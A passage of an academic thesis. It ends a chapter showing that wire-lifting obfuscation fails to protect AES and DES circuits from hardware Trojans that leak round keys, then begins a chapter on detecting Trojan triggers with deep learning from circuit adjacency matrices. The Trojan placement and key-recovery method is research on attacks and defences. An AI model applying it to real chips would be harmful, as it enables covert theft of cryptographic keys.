AND gates to be sure the crucial gate was attacked. Instead, we only want enough gates to
be attacked so that we can recover the key. We claim that at least 64 of these XOR gates
in the final round must be attacked, leaving up to 64 bits of the key to be exhaustively
searched. In order to decide how large to make the Trojan, we simulated different Trojan
sizes 10,000 times. For each simulation we kept the number of Trojan bits constant, but
randomly selected their locations. This is akin to seeing the netlist that the attackers have
access to but not knowing which of the 1280 XOR gates fall within the final round. Instead of
attacking each gate the attacker would select a number of them at random to attack. These
simulations are used to calculate the probability of success with varying Trojan sizes. The
sizes of Trojans simulated were 640 bits, 700 bits and 800 bits.
A Python program was written to generate the 10,000 locations of each bit of the Trojan
for each of the three Trojan sizes. The Verilog code was modified to incorporate these
locations and the resulting circuits were simulated with the (C,C’) pairs being written to a
file. Those (C,C’) pairs were then analyzed by another Python program to determine the
number of bits of the round key that were discovered as well as how many pairs were needed
to find those bits.
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3.6.4

AES Attack Results

640-bit Trojan
The 640-bit hardware Trojan was selected as a starting point as it was half as large
as the 1280 which would affect all gates. The results show that in 5340 of the 10,000
simulations at least 64-bits of the key were recovered. The maximum number of round key
bits recovered was 85 and the minimum number recovered was 43. The probability of success
for this Trojan size was 53.4%. All bits of the round key were recovered using at most six
(C,C’) pairs. These results can be seen in Figure 3.10.
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Fig. 3.10: The numbers of recoverable vs. Unrecoverable keys are displayed for the 640 gate
Trojan.

700-bit Trojan
A small increase in Trojan size revealed an increased probability of success. 8938
simulations resulted in 64 bits or more of the round key being revealed. This is an 89.38%
chance of success with this Trojan size. The maximum number of round key bits recovered
was 92 and the minimum was 52. These bits were again found using at most six (C,C’)
pairs. These results can be seen in Figure 3.11.

79
10000
9000
8000
7000
6000
5000
4000
3000
2000
1000
0
Keys Total

Recoverable Keys

Unrecoverable Keys

Fig. 3.11: The numbers of recoverable vs. Unrecoverable keys are displayed for the 700 gate
Trojan.
800-bit Trojan
This final simulation revealed that at least 64 bits of the round key were recovered in
9992 of the simulations which is a 99.92% chance of successfully recovering the key. The
minimum number of bits recovered in this simulation was 61 and the maximum number of
bits was 101. The maximum number of bits recovered would only leave 27 bits of search
space, or 134,217,728 combinations, required to discover the full key. This is a problem a
typical modern-day personal computer could easily solve. The maximum number of (C,C’)
pairs required to recover each bit was again six. These results can be seen in Figure 3.12.
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Fig. 3.12: The numbers of recoverable vs. Unrecoverable keys are displayed for the 800 gate
Trojan.
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3.6.5

Method applied to the DES circuit

A similar Trojan that was used against the AES circuit could be modified to attack
the DES circuit previously described. In this scenario, the hardware Trojan would attack
the entire left hand output of the 14th round, holding it to zero. This would require 32 AND
gates per round for a total of 512 AND gates. This would allow us to discover the round key
for the 16th round with 100% certainty using only a single plaintext.
This works because if the left block output of the 14th round is held to zeros, then the
right block input to the 15th round would also be zeros and the left block input to the 16th
round would be zeros, as well. Both the right and left block outputs of the 16th round are
known because they can be reversed through the final permutation to reveal them. The right
block input to the 16th round would also be known because it is equal to the left output.
This is illustrated in Figure 3.13. Knowing all inputs and outputs to the round, the only
unknown would be the round key which could easily be determined by going through the
algorithm in reverse. Upon discovering the round key, the remaining eight bits of the secret
key could be discovered by an exhaustive search, as described earlier.

Right Block 15

Left Block 15
Round
15 Key

Key
Unknown Value
Known Value

Feistel Function

Left Block 16

Right Block 16
Round
16 Key

Feistel Function

Fig. 3.13: Rounds 15 and 16 of DES are shown. It is illustrated that if a hardware Trojan
caused the left block output of round 14 to be zeros then the only unknown for round 16 is
the round key.
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This Trojan attacking DES would be 512 gates large, which is half the size of the original
Trojan suggested by Imeson et al., and it would have a 100% success rate.

3.7

Conclusion and Future Work
We have demonstrated that the obfuscation methods set forth in [1] do not provide

the security that they claim for Feistel structured or SPN ciphers. This is because these
ciphers contain highly redundant logic. This redundant logic makes these types of circuits
vulnerable to hardware Trojan attacks even after the wire lifting procedure set forth in [1]
has been carried out. Even if a desired gate cannot be attacked specifically, there is enough
redundancy in these types of circuits to allow for an attack to be successful. In these cases, ksecurity gives a false sense of how secure the circuit is because multiple gates in a redundant,
pipelined circuit can be attacked simultaneously without the extraneous gates affecting the
outcome of the attack, as they are attacked during a different pipeline stage.
This is very important to be brought to light before the community. It is difficult to
prove that any method of 3D circuit manufacturing has the same benefits for any arbitrary
circuit. It is therefore beneficial when a class of circuits can be identified as being an
exception to the rule. In the future of split manufacturing research, redundant circuits must
be considered. Once a new method is identified, it must be tested against redundant circuits
to see if the claims of security still hold for those types of circuits.
Future work would include investigating other types of redundant circuits in order to
show that cryptographic ciphers are not the only types of highly redundant circuits for which
the wire lifting procedure does not provided the advertised amount of security. Other classes
of circuits may also be identified as not being subject to the claims of increased security
provided by 3D manufacturing.
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CHAPTER 4
Hardware Trojan Detection Without a Golden Model Using Deep Learning
ABSTRACT Integrated circuits (IC) are vulnerable to malicious modifications known
as hardware trojans. This is primarily due to the outsourcing of the design and fabrication
of ICs to untrusted foundries. Due to the risk posed by such modification of ICs, detection
of these malicious entities within hardware circuits is of immense interest.
Hardware trojans are accompanied by triggering mechanisms embedded into the same
IC along with the trojan. In this paper we formulate the problem of detecting trojan
triggers, in a non-invasive and scalable manner using only the circuit structure and gate
types as a supervised machine learning task. We have also created and made available,
a dataset including a wide array of trojans of various sizes on a variety of circuit types.
We characterize the performance of various machine learning architectures under settings of
clean and contaminated training data and also explore the performance of machine learning
models when subjected to an adaptive adversary.

4.1

Introduction
Hardware trojans are malicious modifications or additions made to a circuit which

can change the intended functionality of a circuit, alter the reliability, leak confidential
information such as secret keys, or cause a circuit to malfunction in some other way. They
can cause a system to become disabled or compromised, allowing an adversary to gain
access to highly protected data [1]. Hardware trojans present a potential security concern to
anything that utilizes integrated circuits. The U.S. Department of Commerce has estimated
that counterfeit electronic components have appeared in 39% of the Department of Defense
supply chain [2]. Such counterfeit parts have been discovered in Navy helicopters and Air
Force planes [3]. The possibility exists that counterfeit parts might contain hardware trojans.
Not only are governments concerned about the existence of these malicious circuits, private
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businesses and individuals could be at risk as well.
Malicious modifications made to hardware are very difficult to implement, but if successful they can be devastating. Recently, Bloomberg reporting alleged that a tiny microchip
was discovered on servers assembled by Super Micro Computers Inc. (Supermicro) which
was not supposed to be there. These servers were used by many private and governmental agencies including the Department of Defense (DOD), the Central Intelligence Agency
(CIA), Apple, Amazon and 28 other companies. Bloomberg asserted that this addition to
the design created a backdoor for attackers to access any network connected to an infected
server, and that it was added to the design in factories in China [4]. Apple, Amazon and
Supermicro have all issued strong denials claiming that these malicious chips were never
found on hardware they were using and calling for a retraction [5–8].
Nonetheless, hardware trojans remain a threat to governments and public companies
around the world, which is why they are a topic that continues to be researched. Methods to
prevent hardware trojans from being detected, as well as ways to detect them once inserted
into a design, are constantly being sought after [9–12]. New types of hardware trojans are
being invented by researchers and then techniques to mitigate those specific threats are
proposed [13, 14]. Hardware trojans can be introduced by modifying the code written in a
hardware description language (HDL) used to describe the circuit [15, 16]. Users of third
party intellectual property (IP) must be wary that their vendors did not place a trojan into
the design.
We present the groundwork for applying deep learning to the task of hardware trojan
detection and solve some of the difficulties associated with this application. A good application for this method would be in third party IP detection, as it could be detected using our
methods prior to chip manufacture. Typically, a deep learning application requires a large
amount of data in a form it can digest. We provide a solution to this problem. Our method
involves analyzing the hardware description language (HDL) representation of a circuit or
the gate level circuit and detecting hardware trojan triggers. We show promising results
applying learning strategies to detect combinatorial hardware trojan triggers comprised of
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AND and NOT gates. One of the highlights of this proposed approach is that it does not rely
on a golden model.

4.1.1

Contributions

Our contributions are as follows:
• A methodology to create datasets for hardware trojan research is presented.
• A dataset of trigger-inserted circuit adjacency matricies is provided.
• A methodology to create feature vectors from circuit adjacency matrcies is set forth.
• The groundwork for a new application of deep learning: using state-of-the-art models
to identify hardware trojans is presented.

4.2

Related Work
There is constant escalation in the field of hardware trojan detection. A new form of

trojan detection breeds a new type of trojan which bypasses that form of detection, only for
the detection modification to be altered to detect the new trojan that was discovered [17–
19].It will be shown that the methods we present to detect hardware trojan triggers are
highly adaptable. If a trigger is created to bypass detection the training data of the deep
learning model can easily be expanded to include this new type of trigger so that it will be
detected in the future.
Recently, deep learning models have shown promise in various fields like computer vision, natural language processing and time series analysis. In [20], deep learning models were
used to develop a system capable of object classification, part segmentation, scene semantic
parsing directly from point clouds. Convolutional networks have been especially successful
at image classification [21] and object detection [22]. Deep learning models have also shown
enormous promise at natural language text classification [23,24], text summarization [25,26]
and neural machine translation tasks [27].
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4.2.1

Existing Hardware Trojan Detection Methods

Many methods of detecting hardware trojans have been proposed, e.g., [1, 28–31]. Integrated circuits (IC) that are produced today are too complex to be exhaustively verified by
simulation before production [32]. One method of trojan detection requires a golden version
of the IC in which the actual layout of a fabricated IC is compared to the golden in order
to determine if any gates were added or removed [33]. Other techniques requiring golden
models have been proposed and they typically compare circuit functionality with that of a
golden model [34–36].
Reliance on a golden model has been proved to be problematic. For example, it would
be possible for an attacker to introduce a hardware trojan into only a small subset of the
population of manufactured ICs, which would make these methods of testing samples of the
total population less effective [29]. The majority of the existing hardware trojan detection
techniques require a golden IC which makes them less useful than the few methods that do
not rely on a golden IC [30].
Recently, a new approach has been proposed which does not rely on a golden model:
it uses symmetry within a circuit to detect the presence of additional logic, or a hardware
trojan [37]. This technique measures path delays within a circuit and detects if a hardware
trojan has modified that delay. The technique allows for natural symmetries to be used, or to
be designed into the circuit. One advantage to this method is that it completely eliminates
inter-die variations as the measurements are taken from the same chip. A major drawback
to this method is that the technique becomes very difficult for large circuits when finding
the symmetry naturally, and the overhead can get very large when attempting to insert the
symmetry artificially.
An order of path delay method was recently described [38]. The authors of this work
propose a hardware trojan detection technique which takes pairs of paths and calculates
order of path delays for each. During the design phase the path pairs for the entire circuit
are analyzed and then during the test phase the actual delays are recorded. The actual
delays are compared to the theoretical delays calculated during the design phase, and thus

90
hardware trojans are detected.
Another method which works without a golden standard is called TeSR, it is a temporal
self-referencing method [39]. This approach measures the current profile of a circuit at different times and compares them. The authors claim that this method uses the uncorrelated
temporal variations in current caused by sequential hardware trojans to detect them. They
also claim that it eliminates process noise. This is a novel form of side-channel analysis and
differs from most approaches which rely on golden models.
The advantage that our method has over these other methods that also do not require
a golden model is we detect the trojan before the chip is manufactured, saving time and
money.

4.2.2

Deep Learning Architectures & Applications

Deep learning architectures have also been successfully applied to problems with sequential and graphical properties. Recently, deep learning models have been used for time series
forecasting and anomaly detection [40–42] and for speech recognition tasks [43,44]. Another
emerging area of application for deep learning models is unstructured input domains like
graphs. Recently, Graph Convolutional Networks (GCN) have proven to be effective in domains with irregularly structured input data which cannot be handled easily by traditional
network architectures like feed-forward, convolutional or recurrent neural networks. GCNs
have been used for various tasks like labeling nodes in a graph of citation networks, predicting molecular properties given their structure, or automatic hand-written digit classification
when the digits are not on a traditional 2D plan but rather on 3D surfaces and many other
applications [45–48].
In this paper, we apply variants of all the aforementioned popular deep learning architectures to the problem of hardware trojan trigger detection using the adjacency matrix
of a circuit and the corresponding gate types of each node (gate) in the matrix (hardware
circuit). To the best of our knowledge, the task of identifying hardware trojan triggers embedded in a circuit by only using the adjacency matrix of the circuit (i.e non-invasively) has
not been attempted previously.
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4.3

Overview
A trigger-based hardware trojan contains two parts, a trigger and a payload [49]. The

trigger activates the payload when a specific combination of values is found on the trigger
inputs. The connections made when the trigger is inserted in the circuit are the insertion
points. A trigger will have more insertion points as it increases in size. A basic trigger
will consist of AND and NOT gates in order to select the correct trigger inputs to activate
the trojan. Fig. 4.1, trigger A depicts a hardware trojan trigger consisting of three AND
gates and two NOT gates. The output of this trigger will be a 1 when the inputs, A,B,C,D
are 1,0,0,1. Fig. 4.1, trigger B shows a variation on the connectivity of the trigger gates
from Fig. 4.1, trigger A. The functionality of the trigger is unchanged assuming each input
remains attached to the same insertion point. This simple example illustrates why it would
be difficult to use an exact match algorithm to detect hardware trojan triggers. An exact
match algorithm would be required to contain every iteration of every possible trigger, not
only in number of gates and input sequence causing a trigger, but also possible layouts of
the trigger creating logically equivalent circuits. The difficulties involved in such an effort
lead us to consider using deep learning as a hardware trojan trigger detection method. This
will allow for the detection of hardware trojans in third party intellectual property (IP).
We will demonstrate how various deep learning models perform while attempting to
identify hardware trojan triggers. We have created a process described more in depth in
Section 4.4 which allows us to take a circuit described in HDL and create feature vectors
for a deep learning algorithm. This process is illustrated in Fig. 4.2. We take a high-level
HDL circuit (which may contain multiple HDL files) and transform it into the gate representation. We then transform that into the circuit adjacency matrix form, which preserves
all the data from the gate representation, including the gate types and all connections from
input to output of the circuit. A definition for circuit adjacency matrix can be found in
Definition 4.4.1. The circuit adjacency matrix form is then converted to the inverse node
fanin, defined in Definition 4.4.2. This breaks down the reverse path from gate to input for
each gate in the circuit. Finally, the individual inverse node fanins are converted to one-hot
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Trigger B

INPUT C
OUTPUT
INPUT D

Fig. 4.1: Two equivalent hardware trojan triggers containing the same number of gates but
with different connections.
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encoded feature vectors, where each gate type is depicted by a six bit one-hot encoding.

module full_adder(input a, b, cin, output sum, cout);
wire sum1,carry1,carry2;
half_adder HA0(a,b,sum1,carry1);
half_adder HA1(cin,sum1,sum,carry2);

A

XOR

AND

OR

assign cout = carry1 | carry2;
Cin

endmodule

Sum

XOR
B

XOR, INPUT, INPUT
AND, INPUT, INPUT
XOR, XOR, AND, INPUT, INPUT, INPUT, INPUT
AND, XOR, AND, INPUT, INPUT, INPUT, INPUT
OR, AND, AND, INPUT, INPUT, INPUT, INPUT

AND

Cout

0000000001
1000000000
0001100000
1000000000
0000000010
0110000000
0110000000
0001100000
0000000000
0000000000
types:
or,and,xor,and,xor,input,input,input,output,output,output

0,0,1,0,0,0, 0,0,0,0,0,1, 0,0,0,0,0,1
0,1,0,0,0,0, 0,0,0,0,0,1, 0,0,0,0,0,1
0,0,1,0,0,0, 0,0,1,0,0,0, 0,1,0,0,0,0, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1
0,1,0,0,0,0, 0,0,1,0,0,0, 0,1,0,0,0,0, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1
0,0,0,1,0,0, 0,1,0,0,0,0, 0,1,0,0,0,0, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1, 0,0,0,0,0,1

Fig. 4.2: Process required to convert an HDL circuit into feature vectors.

4.3.1

Threat Model

The threat model we assume in this work is that a designer, or team of designers
implant a combinatorial trigger-based hardware trojan in a circuit during the design phase.
The HDL itself which was altered by these bad actors is available to the manufacturer of the
circuit. The source of the hardware trojan may be from a third-party IP vendor, or from
an insider threat in the organization creating the circuit. Example triggers can be seen in
Figure 4.1.
We are not concerned with the functionality of the hardware trojan once it is triggered,
only that it is latent until triggered. The trigger is a logic cone consisting of AND gates and NOT
gates which ends in a single wire which activates the trojan. The trigger may be dispersed
throughout the circuit. It may be connected to inputs, or buried deep within the logic of the
circuit. The trigger is condition-based and may be activated either internally or externally,
when the predetermined sequence of bits appear on the inputs to the trigger [1, 50].

4.4

Procedures
One of the difficulties associated with performing research in the field of hardware
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trojans is the lack of publicly available trojan-inserted data. This is particularly difficult
when attempting to apply neural network strategies which require large amounts of data for
training and verification purposes. The Trust-Hub website [51] contains 88 trojan-inserted
benchmark circuits. These vary in the types of trojans and triggers; when looking at particular types of trojans and how they are triggered the researcher is limited to a subset of the
88. For example, only five of the 88 circuits contain a trigger that is activated based on user
input. Besides the lack of publicly available trojan-inserted circuits, there is also a lack of
benign circuits available in a state that would be acceptable for deep learning consumption.
In order to increase the amount of data available for research purposes, it was necessary
to create a method capable of taking circuits described in either very high speed integrated
circuit hardware description language (VHDL) or Verilog and forming usable data from
those circuits. Knowing that these two HDLs are the most widely used in industry [52]
they were chosen as the starting point for the new dataset, but the most important form
is the circuit adjacency matrix. It has all the information of a circuit in a compact form
which is simple to manipulate and create more data from. We have made datasets of circuit
adjacency matrices containing hardware trojan triggers available here: https://github.
com/nweidler/circuitAdjacencyMatrix.git The following section will offer a definition
for a circuit adjacency matrix and describe the process to create them, as well as feature
sets for deep learning use. We are providing detailed instructions so that the community
can reproduce our work. We have used this same process to produce feature sets for our
deep learning models.

4.4.1

Circuit Adjacency Matrix

Definition 4.4.1 (Circuit Adjacency Matrix) We say that a Circuit Adjacency Matrix
is an nXn matrix used to represent a the nodes of a circuit and their connections. It is
the representation of a circuit as a directed graph. A node is any gate, input or output of
a circuit. The elements of a circuit adjacency matrix indicate which nodes are connected
to each other. Along with an adjacency matrix, a list of nodes is required to preserve the
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functionality of the circuit. This is included in the circuit adjacency matrix with the first
node in the list corresponding to the first row and column in the matrix, the second node
corresponding to the second row and column, and so forth.
The process to create an adjacency matrix is as follows:
Use Synopsys Design Vision to flatten the heirarchy of a circuit described in either
VHDL or Verilog, sythesize the circuit into gates and then regenerate a VHDL file. The
VHDL file will be in a standard form which is expected by the following steps. Use the
Python program developed by the authors to produce an adjacency matrix for each circuit.
The process to create the adjacency matrix is as follows:
1. Read in the VHDL file produced by Synopsys Design Vision.
2. Convert all inputs and outputs in the entity declaration to be of type std_logic
without losing any bits, this requires inputs and outputs to be created for multi-bit
types. Ex. a :

in std_logic_vector(2 downto 0) becomes a(0), a(1), a(2) :

in std_logic. Although this is not correct VHDL syntax, we are not compiling these
files, this is a shortcut to allow the inputs and the outputs to match to where they are
used. The inputs and outputs are only used as single bits because of the way Synopsys
creates the VHDL file.
3. Create a new VHDL file with these modifications.
4. Read in the new VHDL file created by the previous step.
5. Using the new VHDL file, create lists of all inputs, outputs and gates used in the
design.
6. Create a data structure containing of all the connections leaving each input and each
gate in the design. The outputs will have no nodes leaving them. We ignore all
incoming connections because for each outgoing connection in the design there is an
incoming connection.
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7. Create a square zero matrix with the number or columns and rows equal to the total
number of gates, inputs and outputs in the design. Each column and each row will
represent a gate, an input or an output. This is the frame of a circuit adjacency
matrix.
8. Starting with the first gate in the list of gates, and the first row in the square zero matrix, indicate the outgoing connections from that gate by placing a 1 in the column corresponding the the outgoing connection. Ex. The following row indicates that the gate
represented by this row has a connection to gate 1 and gate 4 : 0100100000000000000.
The first item in the list of gates will correspond to the first row in the matrix, the
second item to the second row, and so forth. After the list of gates is exhausted do
the same for the list of inputs. The rows corresponding to the outputs in the matrix
will always contain all zeros as outputs do not have any outgoing connections.
9. Output the adjacency matrix to a file, adding at the bottom the type of the gate
represented by each row, followed by input for each input row and output for each
output row. The circuit adjacency matrix is now complete.
We created an automated process to run large numbers of HDL files through the above
process. The original HDL files we used were taken from Opencores.org [53]. No data is lost
when the HDL is represented as a circuit adjacency matrix as the entire circuit could be
reproduced from it. An example adjacency matrix can be seen in Fig. 4.3. It depicts a full
adder represented as a circuit adjacency matrix, and the gate representation of the circuit
is shown beside it for reference.
The translation from the circuit to the circuit adjacency matrix in Fig. 4.3 is as follows:
• Row 0 represents the OR gate. The only connection it has is to output Cout, indicated
by a 1 in column 9 of row 0.
• Row 1 represents AND 1, showing the connection from it to the OR gate indicated by
the 1 in column 0.
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• Row 2 represents XOR 1 showing the connection to XOR 2 and AND 2 by the 1s in
columns 3 and 4.
• Row 3 represents AND 2 and the connection to the OR gate is indicated by the 1 in
column 0.
• Row 4 represents XOR 2 and the connection it has to the Sum output indicated by the
1 in column 8.
• Row 5 is input A and shows the connections it has to XOR 1 and AND 1 by the 1s in
columns 1 and 2.
• Row 6 is identical to row 5 as input B is also connected to XOR 1 and AND 1 like input
A.
• Row 7 represents input Cin and shows the connections to AND 2 and XOR 2 indicated
by 1 in columns 3 and 4.
• Both outputs Sum and Cout are shown by rows 8 and 9. Notice they do not show any
connections because they have no outgoing connections.
The circuit adjacency matrix is the baseline for the datasets we use in this work. From
this form we have discovered other ways to represent the circuits to prepare them for consumption by the neural networks. Other researchers may find additional novel representations for circuits starting from an adjacency matrix as described here. One powerful method
we have chosen for the representation of circuit data is called inverse node fanin.

4.4.2

Inverse Node Fanin

Definition 4.4.2 (Inverse Node Fanin) We say that for each node in a circuit an inverse
node fanin exists and is represented beginning with the node itself followed by the the nodes
it is connected to, until the inputs of the circuit are reached.
The entire circuit can be described by specifying the inverse node fanin for each node
in the circuit. This is a feature rich representation which contains as much data as the
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0000000001
1000000000
0001100000
1000000000
0000000010
0110000000
0110000000
0001100000
0000000000
0000000000
types :

A

XOR 1
XOR 2

Sum

B

AND 1

Cin

OR

Cout

AND 2

or2i,an2,eo,an2,eo,input,input,input,output,output,
Fig. 4.3: Full adder represented as a circuit adjacency matrix. This is the actual output of
the python program. The circuit is shown as gates on the right.
adjacency matrix but can be viewed one node at a time, making it a good candidate for a
form of data to supply to the deep learning model.
In order to prepare datasets for deep learning, the inverse node fanin data was converted
to a one-hot encoding scheme to represent the type of each node. In order to preserve
structure, all zeros in the one-hot scheme represents the lack of a gate. Each gate with
only a single input, such as an INVERTER, will have a node in front of it, as well as a onehot encoding representing the lack of a second node. From each adjacency matrix it was
straightforward to create this data. The adjacency matrices derived directly from the HDL
provide inverse node fanin data that represent nodes that do not contain a hardware trojan
trigger. The process is as follows:
• Read in the circuit adjacency matrix to a Python program.
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• For each node in the adjacency matrix record which node is in front of it, or in
other words, which node is on the other end of the incoming connection. This is
accomplished by examining the columns in the adjacency matrix. Each column and
each row represent a node in the circuit. When looking at column 2, we are determining
which nodes come before node 2. If rows 0 and 1 contain a 1, that indicates that nodes
0 and 1 are in front of node 2, or nodes 0 and 1 have outgoing edges towards node 2.
See Fig. 4.4 as an example. Record the node type and the type of each node in front
of it.
• Repeat the previous step until all inputs are reached for each node. For each node,
the complete inverse node fanin is known.
• Convert each inverse node fanin to a one-hot encoded scheme. This is the feature set
for the deep learning models.

4.5

Representation Learning
In order to test the applicability of using deep learning to solve the problem of hardware

trojan trigger detection, several experiments were run. Initially, a proof of concept was
required. For this the training data contained only either whole triggers or original circuit
data depicted in the inverse node fanin form. No parital triggers were considered.
Although interesting, the proof of concept is not applicable to real world data. When
an HDL file is converted to a circuit adjacency matrix and then to inverse node fanin form,
each node is considered and therefore partial triggers will be included in the data fed to
the deep learning model. We carried out additional experiments in which the training data
was labeled in such a way that when 40% of a trigger was included in an inverse node fanin
it was labeled as a trigger. This may result in multiple inverse node fanins returning as
positive for a trigger from a single circuit, but when examined it will be seen that they are
all part of the same trigger.

4.5.1

Feed Forward Neural Network
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0010000000000000000
0010000000000000000
0000000000000000001
0000010000000000000
0000010000000000000
0000001000000000000
0000000010000000000
0000000010000000000
0000000000000000010
1000000000000000000
0000000000001000000
0001000000000000000
0000000000010000000
0000000001001000000
0000000001100000000
0000000100000000000
0100100000000000000
0000000000000000000
0000000000000000000
types :
ivi,ivi,an2i,ivi,ivi,an2i,ivi,ivi,an2i,eoi,ivi,ivi,an2i,input,input,input,input,output,output,
Fig. 4.4: The boldface column in this circuit adjacency matrix, representing node 2, has
nodes 0 and 1 in front of it in the circuit. We see that node 2 is an AND gate with two
INVERTER gates in front of it.
We use deep learning to detect the trigger associated with trigger-based hardware trojan. A deep feed-forward neural network implemented in the Python programming language
was utilized in our initial trials. The PyTorch machine learning library was utilized to describe the neural network in order to easily access deep learning functionality [54]. The
network consists of an input layer, two hidden layers and an output layer. The activation function utilized was the Rectified Linear Unit (ReLU) available through PyTorch’s
libraries. The built in cross entropy loss function was used because the training data would
be unbalanced. The Adam optimizer was also used.

4.5.2

Training Data

In order to train the neural network to recognize hardware trojan triggers, a set of

101
triggers and original circuit data was needed for training and verification purposes. The
original circuit data was created using the methods depicted in Section 4.4. As there is
no large database of trigger-activated hardware trojans we needed to generate this data.
In order to remain as unbiased as possible, we started from the same adjacency matrices
used to generate the original circuit data. We created an algorithm that generated random
trigger structures, only constraining it to the number of inputs the trigger would have. AND
gates and NOT gates were selected randomly and the structure of the trigger was built until
it met the criteria of the pre-determined number of inputs. Those completed triggers were
then inserted into the original circuit adjacency matrices by adding rows and columns and
creating the appropriate connections, as well as inserting the appropriate node types into
the list at the bottom. In order to keep the insertion unbiased we selected random points
within each circuit to attach the triggers. Some were attached directly to inputs while others
were buried deep within the circuit. These new, trigger-inserted circuit adjacency matrices
were then used as the starting point to create inverse node fanin data as per the normal
procedure.
The inverse node fanins collected from real circuits that were not trigger-inserted varied
from as few as a single one-hot encoding, up to 893. The inverse node-fanins generated from
the trigger-inserted circuits varied in length from 5 to 897 one-hot encodings. To train the
neural network, the data was broken into three sets: a training set, an inter-batch verification
set, and a final verification set. Care was taken to ensure that no duplicates between the
sets existed. The network was trained using a batch size of 32 over twenty training epochs.

Training Data For Graphical & Recurrent Models
We modified the input data slightly to experiment with learning better, more focused
representations for the recurrent and graph neural network models. Let us consider the set
S = {G1 , G2 , .., Gn } to be the database of graphs such that a subset of graphs S 0 ⊂ S has
graphs with triggers embedded within them. For a given graph Gi ∈ S, we generated a
set of trees by considering the inverse fanin of a node up until depth d, to produce a set
SiT = {Ti1 , Ti2 , .., Tik }. By repeating this procedure for all graphs in S, we obtain a set of
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k-ary trees S T = {T11 , T12 , .., T1j , ..., Tn1 , Tn2 , ..., Tnk }. The set S T is used as the dataset for all
the recurrent and graphical model experiments. The depth d for the curtailed inverse fanin
was selected based on the size of the largest trigger in the dataset so that the largest trigger
can be completely contained in a tree Tij ∈ S T . Each node in a tree Tij is denoted by a gate
type. Our circuits contained 16 types of gates each denoted using a 4 dimensional binary
vector, including one dummy gate which was denoted by the special 4-d vector [0, 0, 0, 0].
Each tree Tij was further standardized structurally by injecting dummy nodes to make the
tree a perfect k-ary tree. In our case, each tree was standardized to form a perfect binary
tree i.e a tree with exactly 2d+1 − 1 nodes. We chose d = 8 and hence each tree Tij has 511
nodes (gates) in our case, each node represented by a 4-d feature vector denoting gate type
as described previously. We note here that as a function of this type of data generation,
a tree Tij can have a complete or partial trigger or no trigger at all. A tree Tij is said to
have a complete or partial trigger when a certain percentage of nodes of a known trigger
are present in Tij , else it is said to have no trigger. This tree-based dataset was generated
to test the robustness of models to datasets containing partial triggers, i.e modeling in the
presence of contaminated training data to mimic real-world settings.

4.5.3

Graphical & Recurrent Models

Since a hardware circuit can be inherently viewed as a directed acyclic graph, we naturally also inspected the representation learning capacity of more sophisticated learning architectures compared to the feed-forward neural network, namely the Graph Convolutional
Network (GCN) and the Recurrent Neural Network (RNN).

GCN
Graph convolutional networks generalize the well known convolution operation from
traditional grid based applications like images (2D grids) to irregularly structured objects
like graphs. A graph G can be represented by a triple (V, E, A) where V represents the nodes
in the graph (in our case a node is a gate in the hardware circuit), E represents the number of
edges in the graph (connections between the gates in the circuit) and these connections and
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gates can be represented as an adjacency matrix A. If we assume |V| = N , the adjacency
matrix can be represented as A ∈ BN ×N where B ∈ {0, 1}. Each node in the graph can be
associated with its own attributes. The attribute matrix X ∈ RN ×k is supplied to the GCN
in addition to the adjacency matrix. Each row xi ∈ R1×k of X represents the node attributes
of node vi . For simplicity, we consider the circuit and the corresponding adjacency matrix
to be undirected.
The goal of GCNs is to learn a feature representation for each node v in the graph G.
These feature representations are then aggregated to form an overall representation for the
graph which is then supplied to a classification mechanism, trained to recognize whether
or not the input graph contains a trojan trigger. In our case, the classification layer is an
extension of the GCN pipeline and is a simple linear classifier.
Similar to other deep learning models like convolutional neural networks and feedforward neural networks, GCNs learn a new feature representation for the feature vector xi for
each node vi in the input graph G. Each graph convolutional layer takes in a node feature
matrix H as input and returns an updated node feature matrix (with the same dimensions
as H) as output. For the lth convolutional layer, the input feature matrix is denoted as
H l−1 ∈ RN ×h where h denotes the user specified hidden size. H l−1 is updated to produce
the output representation H l .

H0 = X

(4.1)

Eq. 4.1 shows that the representation of all nodes in the GCN for a particular input
graph G is initialized (i.e. input to the first GCN layer) by the attribute matrix X .
Node Feature Propagation: Every node vi in the GCN has associated with it, a representation vector hi ∈ R1×h . The network is trained by feature propagation of representation
vectors from each node to all its neighbors governed by the network structure as specified
by the adjacency matrix A . Every node receives the feature representation from its neighbors and updates its own representation by aggregating the set of feature representations
governed by some function f [55].
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hli =

X
aij
1
p
hl−1
hl−1
+
i
j
di + 1
(d
+
1)(d
+
1)
i
j
j∈N (v )

(4.2)

i

Eq. 4.2 is a simple form of the feature aggregation function f for a node vi in the graph
G. In this case, the aggregation is a weighted sum of the hidden state of node vi from
the previous layer and hidden states of the neighbors of vi (represented by N (vi )) in the
equation.
If D ∈ RN ×N represents the degree matrix of G, then let D̄ = D +I represent the degree
matrix with self-loops added where I is the identity matrix of the same size as D. We can
similarly define Ā = A + I to be the modified adjacency matrix. The node representation
update process in the GCN can now be expressed in matrix form by Eq. 4.3.

1

1

H̄ l = D̄− 2 ĀD̄− 2

(4.3)

The process of feature propagation defined in Eq. 4.3, encourages neighboring nodes
to have similar representations in the graph thereby enforcing a smoothing effect. The
motivation behind using a GCN is that if a trigger circuit were to be connected sparsely to
the rest of the circuit and relatively densely connected within itself, all the trigger nodes
would have similar representations, different from the rest of the circuit.
Nonlinear Feature Transformation: After feature propagation, a linear combination
of the feature matrix H i in each GCN layer i is performed with a learned weight matrix
W i ∈ Rh×h . This linear combination is then subjected to a non-linear transformation as
indicated in Eq. 4.4.

H l = ReLU(H̄ l W l )

(4.4)

Graph Classification: After the feature propagation and transformation steps through all
the GCN hidden layers, we obtain the matrix H f inal ∈ R|V|×h which represents the node
representations of the |V| nodes in G. These representations are then transformed into a
graph representation vector hG ∈ R1×h by some transformation function g(H f inal ). We use
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mean-pooling as our choice for function g but more sophisticated functions may be employed
as well. Let this new hidden representation be hG ∈ R1×h . We perform the final classification
with a linear classifier as defined in Eq. 4.5.

YˆG = softmax(W G hG )

(4.5)

RNN
We also consider treating each directed graph G as a sequence of components and
using this approach for graph representation learning. Recurrent neural networks like gated
recurrent units (GRU), long short-term memory units (LSTM) [56,57] have been successfully
used to model sequential data in many domains. Hence, we employ recurrent architectures
for our purpose of sequential modeling and representation learning of each input graph G.
We specifically use the GRU unit for our purposes.
The GRU consists of two gates, the reset and update gates. Eq. 4.6

